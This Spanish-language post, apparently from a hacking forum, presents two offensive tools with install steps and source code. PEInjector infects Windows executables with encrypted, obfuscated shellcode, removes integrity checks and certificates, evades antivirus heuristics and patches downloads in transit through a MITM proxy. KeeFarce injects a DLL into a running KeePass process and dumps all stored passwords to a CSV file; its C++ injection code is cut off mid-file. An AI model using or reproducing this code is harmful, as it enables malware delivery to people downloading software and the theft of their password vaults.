        t#                              \.          ,/                            #j           
        t# ------------------------------ "^-.___,-^" ----------------------------- #j           
        t#            _____ _____ _____ _____ _____ _____ _____    ___              #j           
        t#          |  __|  __|    |_  _|    |    |  | |  |_  |            #j           
        t#          |__  |  __|  --| | | |-  -|  |  | | | |  _| |_            #j           
        t#          |_____|_____|_____| |_| |_____|_____|_|___|  |_____|          #j           
        '#_                                                                        #'           
        ##_ --------------------------------------------------------------------- d#             
        NN#p        _____ _____ _____ _____ _____ _____ _____    _____        j0NN             
        40NNh_      |  __|  __|    |_  _|    |    |  | |  |  | |      _gN#B0             
        4JF@NNp_    |__  |  __|  --| | | |-  -|  |  | | | |  | | | |    _g0WNNL@             
        JLE5@WRNp_  |_____|_____|_____| |_| |_____|_____|_|___|  |_|___|  _g@NNNF3_L             
        _F`@q4WBN@Np_                                                  _gNN@ZL#p"Fj_             
        "0^#-LJ_9"NNNMp__ ----------------------------------------- _gN#@#"R_#g@q^9"             
        a0,3_j_j_9FN@N@0NMp__                                  __ggNZNrNM"P_f_f_E,0a             
          j  L 6 9""Q"#^q@NDNNNMpg____                  ____gggNNW#W4p^p@jF"P"]"j  F             
        rNrr4r*pr4r@grNr@q@Ng@q@N0@N#@NNMpmgg@@ggmqgNN@NN@#@4p*@M@p4qp@w@m@Mq@r#rq@r             
          F Jp 9__b__M,Juw*w*^#^9#""EED*dP_@EZEZ@^E@*#EjP"5M"gM@p*Ww&,jL_J__f  F j               
        -r#^^0""E" 6  q  q__hg-@4""*,_Z*q_"^pwpwr""p*C__@""0N-qdL_p" p  J" 3""5^^0r-             
          t  J  __,Jb--N""",  *_s0M`""q_a@NW_@@_JP^u_p"""p4a,p" _F""V--wL,_F_ F  #               
        _,Jp*^#""9  L  5_a*N"""q__INr" "q_e^"^"*,p^""qME_ y"""p6u,f  j'  f "N^--LL_             
            L  ]  k,w@#"""_  "_a*^E  ba-" ^qjqj-""^pe"  J^-u_f  _f "q@w,j  f  jL               
            #_,J@^""p  `_ _jp-""q  _Dw^" ^cj*"  "*,j^  "p#_  y""^wE_ _F  F"^qN,_j               
        w*^0  4  9__sAF" `L  _Dr"  m__m""q_,,_a^"m__*  "qA_  j" ""Au__f  J  0^--             
            ]  J_,x-E  3_  jN^" `u _w^*_  _R"""R_  _J^w_ j"  "pL_  f  7^-L_F  #               
          jLs*^6  `_  _&*"  q  _,NF  "wp"    "*g"  _NL_  p  "-d_  F  ]"*u_F                 
        ,x-"F  ]    Ax^" q    hp"  `u jM""u    a^ ^, j"  "*g_  p  ^mg_  N    "-x,

PEInjector
Infecta ejecutables de Windows


PEInjector, es una herramienta que puede infectar ejecutables de Windows (PE COFF) y que además incluye un proxy (interceptor) que también es capaz de modificar los ejecutables al "vuelo" pero mucho más completo y con mayor rendimiento: parcheo más transparente, infección ELF o MACH-O, PE code cave jumping, parcheo IAT y otros métodos de parcheo más "estáticos".

Características generales
  • Soporte de archivos PE x64 y x86.
  • Código abierto.
  • Totalmente funcional en Windows y Linux, incluyendo scripts de instalación automatizada.
  • Puede funcionar en hardware embebido, probado en una Raspberry Pi 2.
  • En Linux, todos los servidores se integrarán automáticamente como servicio, sin necesidad de configuración manual.
  • Escrito en C plano, no se requieren librerías externas (PEInjector).
  • La integración MiTM está disponible en C, Python y Java. Se incluye un ejemplo de implementación en Python.
  • Facilidad de uso. Cualquier persona que pueda configurar un router en casa podrá configurar el servidor de inyector.
  • Creador de shellcodes integrado y de fácil uso. Todos los shellcodes disponibles en 32 y 64bits con cifrado automático opcional.
  • Podemos personalizar nuestro propio código shell e inyectarlo directamente o como un nuevo thread.
Características de funcionamiento
  • Elimina las comprobaciones de integridad tales como los checksums de la cabecera del PE, certificados, force-check-checksum-flag, ...
  • Intenta inyectar el shellcode al final de la sección del ejecutable. Esto es posible debido al gap entre el valor SizeOfRawData y VirtualSize.
  • Intentar redimensionar el tamaño de la sección del ejecutable e inyectar ahí el shellcode. Esto es posible debido al gap entre el valor FileAlignment y SectionAlignment.
  • Inserta una nueva sección e inyecta ahí el shellcode.
  • Trata de descubrir si el ejecutable puede detectar la infección (por ejemplo, configuraciones NSIS) y salta el ejecutable.
  • Genera un nombre aleatorio para las secciones creadas por el flag del "nuevo nombre de la sección".
  • Cifra el payload con claves aleatorias. El stub de descifrado es generado y ofuscado individualmente sobre la marcha para cada inyección, utilizando el motor polimórfico integrado.
  • Inyecta el shellcode con uno de los métodos seleccionados e inserta un salto ofuscado al payload en otra sección. En principio el PE no apunta al shellcode porque puede aumentar la tasa de detección heurística de algún AV (por defecto: OFF).
Código:

                      ----- peinjector ----- ^^

                              + configuration                 
                              | payload                       
                              | ...                           
                  +-----------v------------+                 
  +-------+      |                        |                 
  | PATCH <-------+      libpeinfect      <--+               
  +-------+      |                        |  |               
                  +-----------+------------+  |               
                              |              |               
                  +-----------v------------+  |               
                  |                        |  |               
  +--------------->      libpetool        |  |               
  | change values |                        |  |               
  | add sections  +-----------^------------+  |               
  | resize sect.              |              |               
  + ...                  +----v----+          |               
                        | PEFILE  +----------+               
                        +----^----+                         
                              |                               
                  +-----------v------------+                 
  PE File data    |                        |    PE File data 
  +--------------->      libpefile        +---------------> 
                  |                        |                 
                +------------------------+

libpefile: Proporciona el análisis de archivos PE, modificación y capacidades de volver a montarlo basándose en la especificación PE COFF. También funciona con muchos archivos no conformes y deliberadamente mal formados que el loader de Windows acepta.

libpetool: Proporciona modificaciones más complejas (añadir/cambiar el tamaño de las secciones). Mantiene compatibles los valores de la cabecera PE COFF.

libpeinfect: Proporciona diferentes métodos de infección, elimina comprobaciones de integridad, certificados, etc. Puede infectar totalmente un archivo (de forma estática, por ejemplo, desde el disco) o generar un parche (para la infección por MITM). Los conectores que trabajan con estos parches están disponibles en C, Python y Java. El archivo infectado mantiene su funcionalidad original.

Arquitectura

PEInjector incluye de tres componentes: servidor, interfaz web (webgui) y proxy. Los puertos por defecto que se utilizan son:

3333: python webserver (GUI)
31337: puerto de datos de PEInjector (communication proxy <-> PEInjector)
31338: puerto de control de PEInjector (communication GUI <-> PEInjector)
8080: proxy

Código:

                          ----- servers ----- ^^

                                  +-----------------+-+
                                  |  web browser  |X|
        +-------------+          +-----------------+-+
        | peinjector- |          |      _____      |
------->+ interceptor +---------> |      /    \      |
-orig.->+  (MITM)    +-patched-> |    | () () |    |
-data-->+            +-data----> |      \  ^  /      |
------->+ +---------+ +---------> |      |||||      |
        | |connector| |          |                  |
        +-+-+-----^-+-+          +-----+------^------+
    raw    |    |              send  |      | get 
    header |    | patch        config |      | status
            |    |                    |      |     
        +-+-v-----+-+-+          +-+---v------+---+-+
        | |data port| |          | |http(s) server| |
        | +---------+ |          | +--------------+ |
        | peinjector  |          |                  |
        | (core  +---+ crtl      +---+ peinjector-  |
        | engine) |c p| protocol  |c p| control      |
        |        |r o+----------->r r| (user        |
        |        |t r<-----------+t o| interface)  |
        |        |l t|          |l .|              |
        +---------+---+          +---+--------------+

Instalación:

Descargamos el programa

Instalamos peinjector-server que provee parcheo de ejecutables como servicio:

Cita:

peinjector-server: Proporciona parcheo de ejecutables PE como un servicio. Sólo tienes que enviar la cabecera abierta de su archivo PE y recibirá un parche hecho a medida para él. Puede ser controlado remotamente a través de un protocolo de comandos.
Código:

cd /pruebas/peinjector/peinjector/install/
sudo chmod a+x peinjector_install.sh
sudo ./peinjector_install.sh

root@kali:~/pruebas/peinjector/peinjector/install# service peinjector status
â peinjector.service - LSB: peinjector server
  Loaded: loaded (/etc/init.d/peinjector)
  Active: active (running) since Mon 2015-09-14 04:38:18 EDT; 40s ago
  Process: 1970 ExecStart=/etc/init.d/peinjector start (code=exited, status=0/SUCCESS)
  CGroup: /system.slice/peinjector.service
          ââ1974 /usr/bin/peinjector --server

Instalamos peinjector-control que administra el servidor de peinjector vía webgui:

Cita:

peinjector-control: Interfaz web para configurar y controlar un servidor peinjector. Un pequeño shellcode fabricado con algunos shellcodes básicos, automaticamente la encriptación/ofuscación y generación de hilos es proporcionado - alternativamente, El ShellCode personalizado puede ser inyectado.
Código:

cd /tmp/peinjector/pe-injector-control/install/
sudo chmod a+x peinjector-control_install.sh
sudo ./peinjector-control_install.sh

root@kali:~/pruebas/peinjector/pe-injector-control/install# service peinjector-control status
â peinjector-control.service - LSB: peinjector-control server
  Loaded: loaded (/etc/init.d/peinjector-control)
  Active: active (running) since Mon 2015-09-14 04:40:36 EDT; 58s ago
  CGroup: /system.slice/peinjector-control.service
          ââ2109 python3 ./peinjector_control.py

Sep 14 04:40:36 kali peinjector-control[2105]: Start peinjector-control server

Instalamos peinjector-interceptor que es el proxy MiTM con el conector de peinjector:

peinjector-interceptor: Ejemplo de Integración MITM. Basado en Python y libmproxy, apoya la interceptación SSL, puede actuar como proxy transparente, proxy HTTP, .... Proporciona capacidades de parcheo PE sin uniones.

Código:

cd /tmp/peinjector/pe-injector-interceptor/install/
sudo chmod a+x peinjector-interceptor_install.sh
sudo ./peinjector-interceptor_install.sh

root@kali:~/pruebas/peinjector/pe-injector-interceptor/install# service peinjector-interceptor status
â peinjector-interceptor.service - LSB: peinjector-interceptor server
  Loaded: loaded (/etc/init.d/peinjector-interceptor)
  Active: active (running) since Mon 2015-09-14 04:43:38 EDT; 24s ago
  Process: 6252 ExecStart=/etc/init.d/peinjector-interceptor start (code=exited, status=0/SUCCESS)
  CGroup: /system.slice/peinjector-interceptor.service
          ââ6256 python2 ./peinjector_interceptor.py

Sep 14 04:43:38 kali peinjector-interceptor[6252]: Start peinjector-interceptor server

Hardening

Cambia el certificado del interfaz web por uno propio:

Código:

sudo openssl req -new -x509 -keyout /etc/peinjector-control/cert_example_do_not_use_this.pem -out /etc/peinjector-control/cert_example_do_not_use_this.pem -days 365 -nodes
sudo service peinjector-control stop
sudo service peinjector-control start

Configura una contraseña en el GUI:
  • Ve a https://{your_ip}:3333/settings.htm
  • Pon una contraseña para el usuario 'admin'
  • Activa la autenticación (enable authentication)
  • USER: admin; PASS: {your_pass}

Asocia los puertos de peinjector a localhost para que sólo el webgui y el proxy puedan conectarse al servidor de peinjector (recomendable):
  • Ve a https://{your_ip}:3333/injector.htm
  • Haz clic en el botón local (interfaz de control)
  • Haz clic en el botón local (interfaz de datos)
  • Haz clic en el botón de reinicio para reiniciar el peinjector

Codigo Fuente

Código:

/**
 * \file  peinjector.c
 * \author A.A.
 * \brief  PE infection test tool
 */

#include "libpetool.h"
#include "libpeinfect.h"
#include "libpeserver.h"
#include "3rdparty/ini/minIni.h"
#include <stdio.h>
#include <stdlib.h>

#ifdef _WIN32 /* Windows/Linux Switch */
#include "windows.h"
#endif

/* Config Names */
#define CONFIG_FILE      "config.ini"
#define PAYLOAD_FILE_X86 "payload_x86.bin"
#define PAYLOAD_FILE_X64 "payload_x64.bin"

/**
 * Reads binary file
 *
 * \param file    File to read
 * \param memsize Store size of file
 *
 * \return file memory if success, NULL otherwise
 * */
static inline unsigned char* __read_file(char *file, size_t *memsize) {
  unsigned char *file_mem;
  /* Open file */
  FILE *fh = fopen(file, "rb");

  if (fh != NULL) {
    /* Get file size and allocate buffer */
    fseek(fh, 0L, SEEK_END);
    size_t size = ftell(fh);
    size_t size_read = 0;
    rewind(fh);
    file_mem = malloc(size);

    if (file_mem != NULL) {
      /* Load file into buffer */
      size_read = fread(file_mem, size, 1, fh);
      fclose(fh);
      fh = NULL;

      if (size_read != 1) {
        free(file_mem);
        file_mem = NULL;
      }
     
      /* Return buffer */
      *memsize = size;
      return file_mem;
    }
    /* Close file (if memory allocation has failed) */
    if (fh != NULL) {
      fclose(fh);
    }
  }

  return NULL;
}

/**
 * Configures PEINFCT
 *
 * \param infect PEINFECT to configure
 *
 * */
static inline void __load_config(PEINFECT *infect) {
  unsigned char *test_code_x86;
  size_t test_codesize_x86 = 0;
  unsigned char *test_code_x64;
  size_t test_codesize_x64 = 0;
  PEINFECT_METHOD methods = 0;
  bool random_section_name = false;
  size_t section_namesize = 0;
  char section_name[NT_SHORT_NAME_LEN] = { 0 };

  /* Load integrity options */
  peinfect_set_removeintegrity(ini_getl("integrity", "remove_integrity_checks", true, CONFIG_FILE), infect);
  peinfect_set_trystaystealth(ini_getl("integrity", "try_stay_stealth", true, CONFIG_FILE), infect);

  /* Load statistics options */
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x86", 0, CONFIG_FILE), false, infect);
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x64", 0, CONFIG_FILE), true, infect);

  /* Load methods */
  methods |= ini_getl("methods", "method_alignment", true, CONFIG_FILE) ? METHOD_ALIGNMENT : 0;
  methods |= ini_getl("methods", "method_alignment_resize", true, CONFIG_FILE) ? METHOD_ALIGNMENT_RESIZE : 0;
  methods |= ini_getl("methods", "method_new_section", true, CONFIG_FILE) ? METHOD_NEW_SECTION : 0;
  methods |= ini_getl("methods", "method_change_flags", true, CONFIG_FILE) ? METHOD_CHANGE_FLAGS : 0;
  methods |= ini_getl("methods", "method_cross_section_jump", false, CONFIG_FILE) ? METHOD_CROSS_SECTION_JUMP : 0;
  peinfect_set_methods(methods, infect);

  /* Cross section jump iterations */
  peinfect_set_jumpiterations(ini_getl("methods", "method_cross_section_jump_iterations", 1, CONFIG_FILE), infect);

  /* Encryption */
  peinfect_set_encrypt(ini_getl("methods", "encrypt", true, CONFIG_FILE), infect);
  peinfect_set_encryptiterations(ini_getl("methods", "encrypt_iterations", 1, CONFIG_FILE), infect);

  /* New Section Name */
  peinfect_set_sectionname(NULL, 0, (random_section_name = ini_getl("name", "section_name_random", true, CONFIG_FILE)),
      infect);
  if (!random_section_name) {
    section_namesize = ini_gets("name", "section_name", "", section_name, NT_SHORT_NAME_LEN, CONFIG_FILE);
    peinfect_set_sectionname(section_name, section_namesize, false, infect);
  }

  /* Statistics */
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x86", 0, CONFIG_FILE), false, infect);
  peinfect_set_infectcounter(ini_getl("statistics", "infection_counter_x64", 0, CONFIG_FILE), true, infect);

  /* Load shellcode */
  test_code_x86 = __read_file(PAYLOAD_FILE_X86, &test_codesize_x86);
  test_code_x64 = __read_file(PAYLOAD_FILE_X64, &test_codesize_x64);

  /* Set shellcode */
  peinfect_set_shellcode(test_code_x86, test_codesize_x86, false, infect);
  peinfect_set_shellcode(test_code_x64, test_codesize_x64, true, infect);

  /* Free temp. Buffer */
  if (test_code_x86 != NULL) {
    free(test_code_x86);
  }
  if (test_code_x64 != NULL) {
    free(test_code_x64);
  }
}

/**
 * Prints PEFILE info
 *
 * \param in PEFILE to print
 *
 * */
static inline void __print_info(PEFILE *in) {
  int i = 0;

  printf("# PE Header #\n");
  printf("Signature:                  %08x\n", in->pe_header.Signature);
  printf("Machine:                    %04x\n", in->pe_header.Machine);
  printf("NumberofSections:            %04x\n", in->pe_header.NumberOfSections);
  printf("TimeDateStamp:              %08x\n", in->pe_header.TimeDateStamp);
  printf("PointerToSymbolTable:        %08x\n", in->pe_header.PointerToSymbolTable);
  printf("NumberOfSymbols:            %08x\n", in->pe_header.NumberOfSymbols);
  printf("SizeOfOptionalHeader:        %04x\n", in->pe_header.SizeOfOptionalHeader);
  printf("Characteristics:            %04x\n", in->pe_header.Characteristics);
  printf("\n");

  if (in->pe_header.SizeOfOptionalHeader) {
    if (in->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
      printf("# Optional Header (32 Bit) #\n");
      printf("Magic:                      %04x\n", in->optional_header_32.Magic);
      printf("MajorLinkerVersion:          %02x\n", in->optional_header_32.MajorLinkerVersion);
      printf("MinorLinkerVersion:          %02x\n", in->optional_header_32.MinorLinkerVersion);
      printf("SizeOfCode:                  %08x\n", in->optional_header_32.SizeOfCode);
      printf("SizeOfInitializedData:      %08x\n", in->optional_header_32.SizeOfInitializedData);
      printf("SizeOfUninitializedData:    %08x\n", in->optional_header_32.SizeOfUninitializedData);
      printf("AddressOfEntryPoint:        %08x\n", in->optional_header_32.AddressOfEntryPoint);
      printf("BaseOfCode:                  %08x\n", in->optional_header_32.BaseOfCode);
      printf("BaseOfData:                  %08x\n", in->optional_header_32.BaseOfData);
      printf("ImageBase:                  %08x\n", in->optional_header_32.ImageBase);
      printf("SectionAlignment:            %08x\n", in->optional_header_32.SectionAlignment);
      printf("FileAlignment:              %08x\n", in->optional_header_32.FileAlignment);
      printf("MajorOperatingSystemVersion: %04x\n", in->optional_header_32.MajorOperatingSystemVersion);
      printf("MinorOperatingSystemVersion: %04x\n", in->optional_header_32.MinorOperatingSystemVersion);
      printf("MajorImageVersion:          %04x\n", in->optional_header_32.MajorImageVersion);
      printf("MinorImageVersion:          %04x\n", in->optional_header_32.MinorImageVersion);
      printf("MajorSubsystemVersion:      %04x\n", in->optional_header_32.MajorSubsystemVersion);
      printf("MinorSubsystemVersion:      %04x\n", in->optional_header_32.MinorSubsystemVersion);
      printf("Win32VersionValue:          %08x\n", in->optional_header_32.Win32VersionValue);
      printf("SizeOfImage:                %08x\n", in->optional_header_32.SizeOfImage);
      printf("SizeOfHeaders:              %08x\n", in->optional_header_32.SizeOfHeaders);
      printf("CheckSum:                    %08x\n", in->optional_header_32.CheckSum);
      printf("Subsystem:                  %04x\n", in->optional_header_32.Subsystem);
      printf("DllCharacteristics:          %04x\n", in->optional_header_32.DllCharacteristics);
      printf("SizeOfStackReserve:          %08x\n", in->optional_header_32.SizeOfStackReserve);
      printf("SizeOfStackCommit:          %08x\n", in->optional_header_32.SizeOfStackCommit);
      printf("SizeOfHeapReserve:          %08x\n", in->optional_header_32.SizeOfHeapReserve);
      printf("SizeOfHeapCommit:            %08x\n", in->optional_header_32.SizeOfHeapCommit);
      printf("LoaderFlags:                %08x\n", in->optional_header_32.LoaderFlags);
      printf("NumberOfRvaAndSizes:        %08x\n", in->optional_header_32.NumberOfRvaAndSizes);

    } else if (in->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
      printf("# Optional Header (64 Bit) #\n");

      printf("Magic:                      %04x\n", in->optional_header_64.Magic);
      printf("MajorLinkerVersion:          %02x\n", in->optional_header_64.MajorLinkerVersion);
      printf("MinorLinkerVersion:          %02x\n", in->optional_header_64.MinorLinkerVersion);
      printf("SizeOfCode:                  %08x\n", in->optional_header_64.SizeOfCode);
      printf("SizeOfInitializedData:      %08x\n", in->optional_header_64.SizeOfInitializedData);
      printf("SizeOfUninitializedData:    %08x\n", in->optional_header_64.SizeOfUninitializedData);
      printf("AddressOfEntryPoint:        %08x\n", in->optional_header_64.AddressOfEntryPoint);
      printf("BaseOfCode:                  %08x\n", in->optional_header_64.BaseOfCode);
      printf("ImageBase:                  %016x\n", (uint32_t) in->optional_header_64.ImageBase);
      printf("SectionAlignment:            %08x\n", in->optional_header_64.SectionAlignment);
      printf("FileAlignment:              %08x\n", in->optional_header_64.FileAlignment);
      printf("MajorOperatingSystemVersion: %04x\n", in->optional_header_64.MajorOperatingSystemVersion);
      printf("MinorOperatingSystemVersion: %04x\n", in->optional_header_64.MinorOperatingSystemVersion);
      printf("MajorImageVersion:          %04x\n", in->optional_header_64.MajorImageVersion);
      printf("MinorImageVersion:          %04x\n", in->optional_header_64.MinorImageVersion);
      printf("MajorSubsystemVersion:      %04x\n", in->optional_header_64.MajorSubsystemVersion);
      printf("MinorSubsystemVersion:      %04x\n", in->optional_header_64.MinorSubsystemVersion);
      printf("Win32VersionValue:          %08x\n", in->optional_header_64.Win32VersionValue);
      printf("SizeOfImage:                %08x\n", in->optional_header_64.SizeOfImage);
      printf("SizeOfHeaders:              %08x\n", in->optional_header_64.SizeOfHeaders);
      printf("CheckSum:                    %08x\n", in->optional_header_64.CheckSum);
      printf("Subsystem:                  %04x\n", in->optional_header_64.Subsystem);
      printf("DllCharacteristics:          %04x\n", in->optional_header_64.DllCharacteristics);
      printf("SizeOfStackReserve:          %016x\n", (uint32_t) in->optional_header_64.SizeOfStackReserve);
      printf("SizeOfStackCommit:          %016x\n", (uint32_t) in->optional_header_64.SizeOfStackCommit);
      printf("SizeOfHeapReserve:          %016x\n", (uint32_t) in->optional_header_64.SizeOfHeapReserve);
      printf("SizeOfHeapCommit:            %016x\n", (uint32_t) in->optional_header_64.SizeOfHeapCommit);
      printf("LoaderFlags:                %08x\n", in->optional_header_64.LoaderFlags);
      printf("NumberOfRvaAndSizes:        %08x\n", in->optional_header_64.NumberOfRvaAndSizes);
    }
    printf("\n");
  }

  if (in->pe_header.NumberOfSections) {
    printf("# Sections #\n");
    printf("Name    VirtualSize VirtualAddr. SizeofRawData PointerToRawData Characteristics\n");
    for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
      printf("%-8.*s %08x    %08x    %08x      %08x        %08x\n", 8, in->section_header[i].Name,
          in->section_header[i].Misc.VirtualSize, in->section_header[i].VirtualAddress,
          in->section_header[i].SizeOfRawData, in->section_header[i].PointerToRawData,
          in->section_header[i].Characteristics);
    }
    printf("\n");
  }

}

/**
 * Prints usage information
 */
static void __print_usage() {
  printf(
      " <<< Usage >>> \n\
  peinjector --info file\n\
  peinjector --infect file\n\
  peinjector --patch file (Debug Output)\n\
  peinjector --server\n\
  peinjector --accidentally-forget-entry-point file\n");
}

/**
 * Main Routine
 *
 * \param pcount Number of parameter given
 * \param params Parameters given
 *
 * \returns 0
 */
int main(int pcount, char **params) {
  bool restart_server = true;

  /* Server */
  PESERVER server;
  /* Server config */
  PECONFIG config;
  peserver_init_config(CONFIG_FILE, PAYLOAD_FILE_X86, PAYLOAD_FILE_X64, &config);

  /* PE File */
  PEFILE mype;
  pefile_init(&mype);

  PEFILE_READ_OPTIONS read_options;
  read_options.header_only = true;

  /* PE Inject */
  PEINFECT infect;
  peinfect_init(&infect);

  /* Check Params */
  if (pcount == 3) {

    /* Statically infect file */
    if (strcmp("--infect", params[1]) == 0) {
      printf(" <<< Infect >>> \n");

      __load_config(&infect);
      if (peinfect_infect_full_file(params[2], &infect, params[2])) {
        printf("Success\n");
      } else {
        printf("Error\n");
      }

      /* Show patch parts (debug) */
    } else if (strcmp("--patch", params[1]) == 0) {
      printf(" <<< Try patch >>> \n");

      __load_config(&infect);
      if (peinfect_infect_patch_file(params[2], &infect)) {
        printf("Success\n");
      } else {
        printf("Error\n");
      }

      /* Show Info */
    } else if (strcmp("--info", params[1]) == 0) {
      printf(" <<< Info >>> \n");

      if (pefile_read_file(params[2], &read_options, &mype)) {
        __print_info(&mype);
      } else {
        printf("Error\n");
      }

    } else if (strcmp("--accidentally-forget-entry-point", params[1]) == 0) {
      printf(" <<< Oooops ... >>> \n");
      printf("When I'm drunk I always fuck up PE files entry points ...\n");

      if (pefile_read_file(params[2], NULL, &mype)) {
        mype.optional_header_32.AddressOfEntryPoint = 0;
        mype.optional_header_64.AddressOfEntryPoint = 0;
        if (pefile_write_file(&mype, NULL, params[2])) {
          printf("Success\n");
        } else {
          printf("Error writing file\n");
        }

      } else {
        printf("Error parsing file\n");
      }
      /* Invalid parameter combination */
    } else {
      __print_usage();
    }

  } else if ((pcount == 2) && (strcmp("--server", params[1]) == 0)) {

    /* Restart loop */
    restart_server = true;
    while (restart_server) {
      /* Init Server */
      __load_config(&infect);
      if (peserver_init(&infect, &config, &server)) {
        /* Wait for termination signal */
        restart_server = peserver_wait(&server);

        /* Frees the server */
        peserver_free(&server);

      } else {
        /* Couldn't (re)start server, exit */
        restart_server = false;
      }
    }

    /*Frees config*/
    peserver_free_config(&config);

    /* Invalid parameter combination */
  } else {
    __print_usage();
  }

  /* Free PEFILE & PEINFECT */
  pefile_free(&mype);
  peinfect_free(&infect);

  return 0;
}

Uso (demo):

1. Visitamos https://{your_ip}:3333


2. Navegamos a "shellcode" y nos desplazamos abajo a demo (calc).

3. Hacemos clic en "create and send shellcode".


4. Configuramos el navegador para usar el proxy {your_ip}:8080

5. Descargamos cualquier ejecutable, en nuestro ejemplo puttygen.exe.

6. Ejecutamos el fichero exe y comprobamos como el payload ejecuta en segundo plano también la calculadora.





uploaded.net - [code] PEInjector: MITM PE File Injector

[C++] KeeFarce: Hack Password KeePass 2.x

$
0
0


KeeFarce
Extractor de contraseñas de Keepass 2.x


KeePass es un gestor de contraseñas, que permite una única interfaz para almacenar toda su información en sus cuentas mediante el cifrado, números de serie y programas de registro, logins, contraseñas y números de otros cuentas. Tenga en cuenta que KeePass es un software libre, y utiliza un algoritmo de doble: AES y Twofish, que son conocidas por ser utilizadas por los bancos. Usted puede proteger la base de datos con una contraseña única, que retendrá curso.

KeeFarce es una herramienta que permite la extracción de los datos de Keepass Password 2.x desde la memoria, realizando un volcado completo en un fichero CSV en %AppData% de toda la información que se tiene almacenada.

Funcionamiento

KeeFarce utiliza la inyección DLL para ejecutar código en el contexto de un proceso ejecutado de KeePass. El código de ejecución C# se consigue por primera inyección en una arquitectura apropiada de un arranque de DLL. Esto genera una instancia de tiempo de ejecución de la red del punto en el dominio de aplicación apropiada, posteriormente se ejecuta KeeFarceDLL.dll (el principal C# payload).

El KeeFarceDLL utiliza CLRMD para encontrar el objeto necesario en el procesa de KeePass, localiza los punteros de algunos sub-objetos requeridos mediante offsets), y utiliza la reflexión para llamar a un método de exportación.

Compilación
  • Instalar Visual Studio (Preferiblemente VS 2015, ya que el desarrollo del programa se ha hecho en este).
  • Abra la KeeFarce.sln con Visual Studio y pulse construir/build.
  • Los resultados de archivos pueden ser encontrados en dist/$arquitectura.
  • Copie los archivos KeeFarceDLL.dll y los archivos Microsoft.Diagnostic.Runtime.dll en la carpeta antes de ejecutar, ya que son arquitecturas independientes.
Compatibilidad

Según el autor, KeeFarce ha sido probado en KeePass 2.28, 2.29 y 2.30 - se ejecuta en Windows 8.1 - 32 y 64 bits y debe trabajar también en maquinas de Windows 7.

Ejecución
  • Asegúrese de que los siguientes archivos están en la misma carpeta: BootstrapDLL.dll, KeeFarce.exe, KeeFarceDLL.dll, Microsoft.Diagnostic.Runtime.dll
  • Copie estos archivos al lugar seleccionado y ejecutar KeeFarce.exe
Como ven en la siguiente captura contamos con 3 ficheros DLL los cuales usa la herramienta para realizar el volcado en mi caso estoy usando la de 64 bits consideren que tienen el compilado para 32 bits tambien.


Una vez que lo tenemos nos dirigimos al directorio y basta con ejecutarlo para que la herramienta haga su magia.


Como veran genera el fichero keepass_export.csv si lo ven tendran el volcado respectivo.


Codigo Fuente

KeeFarce.cpp

Código:

// KeeFarce.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <stdlib.h>
#include <string>

#include "Injection.h"


using namespace std;

int main()
{

        /*
                TODO: parse command line args. Take PID or default to 'KeePass.exe'
        */
        // Bootstrapper
        char DllName[MAX_PATH];
        GetCurrentDirectoryA(MAX_PATH, DllName);

        // KeeFarceDLL - Injected C# code
        wchar_t DllNameW[MAX_PATH];
        GetCurrentDirectory(MAX_PATH, DllNameW);
        wcscat_s(DllNameW, L"\\KeeFarceDLL.dll");

        DWORD Pid = GetProcessIdByName("KeePass.exe");
        strcat_s(DllName, "\\BootstrapDLL.dll");

        printf("[.] Injecting BootstrapDLL into %d\n", Pid);
        InjectAndRunThenUnload(Pid, DllName, "LoadManagedProject", DllNameW);

        printf("[.] Done! Check %%APPDATA%%/keepass_export.csv");

        return 0;
}

Injection.cpp

Código:

#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <stdlib.h>
#include <string>

#include "Injection.h"
#include "HCommonEnsureCleanup.h"

DWORD GetProcessIdByName(const char * name)
{
        using namespace Hades;

        PROCESSENTRY32 entry;
        entry.dwSize = sizeof(PROCESSENTRY32);
        char buf[MAX_PATH] = { 0 };
        size_t charsConverted = 0;

        EnsureCloseHandle snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

        if (Process32First(snapshot, &entry) == TRUE)
        {
                while (Process32Next(snapshot, &entry) == TRUE)
                {
                        wcstombs_s(&charsConverted, buf, entry.szExeFile, MAX_PATH);
                        if (_stricmp(buf, name) == 0)
                        {
                                return entry.th32ProcessID;
                        }
                }
        }
        return NULL;
}

BOOL InjectAndRunThenUnload(DWORD ProcessId, const char * DllName, const std::string& ExportName, const wchar_t * ExportArgument)
{
        using namespace Hades;
        using namespace std;

        // This doesn't need to be freed
        HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");

        if (!ProcessId)
        {
                cout << "Specified Process not found" << endl;
                return false;
        }

        EnsureCloseHandle Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

        if (!Proc)
        {
                cout << "Process found, but OpenProcess() failed: " << GetLastError() << endl;
                return false;
        }

        // LoadLibraryA needs a string as its argument, but it needs to be in
        // the remote Process' memory space.
        size_t StrLength = strlen(DllName);
        LPVOID RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, StrLength,
                MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        if (RemoteString == NULL) {
                cout << "VirtualAllocEx Failed:" << GetLastError() << endl;
                return false;
        }
        WriteProcessMemory(Proc, RemoteString, DllName, StrLength, NULL);

        // Start a remote thread on the targeted Process, using LoadLibraryA
        // as our entry point to load a custom dll. (The A is for Ansi)
        EnsureCloseHandle LoadThread = CreateRemoteThread(Proc, NULL, NULL,
                (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryA"),
                RemoteString, NULL, NULL);
        WaitForSingleObject(LoadThread, INFINITE);

        // Get the handle of the now loaded module
        DWORD hLibModule;
        GetExitCodeThread(LoadThread, &hLibModule);

        // Clean up the remote string
        VirtualFreeEx(Proc, RemoteString, StrLength, MEM_RELEASE);

        // Call the function we wanted in the first place
        if (CallExport(ProcessId, DllName, ExportName, ExportArgument) == -1) {
                // something went wrong
                cout << "CallExport failed" << endl;
        }

        // Unload the dll, so we can run again if we choose
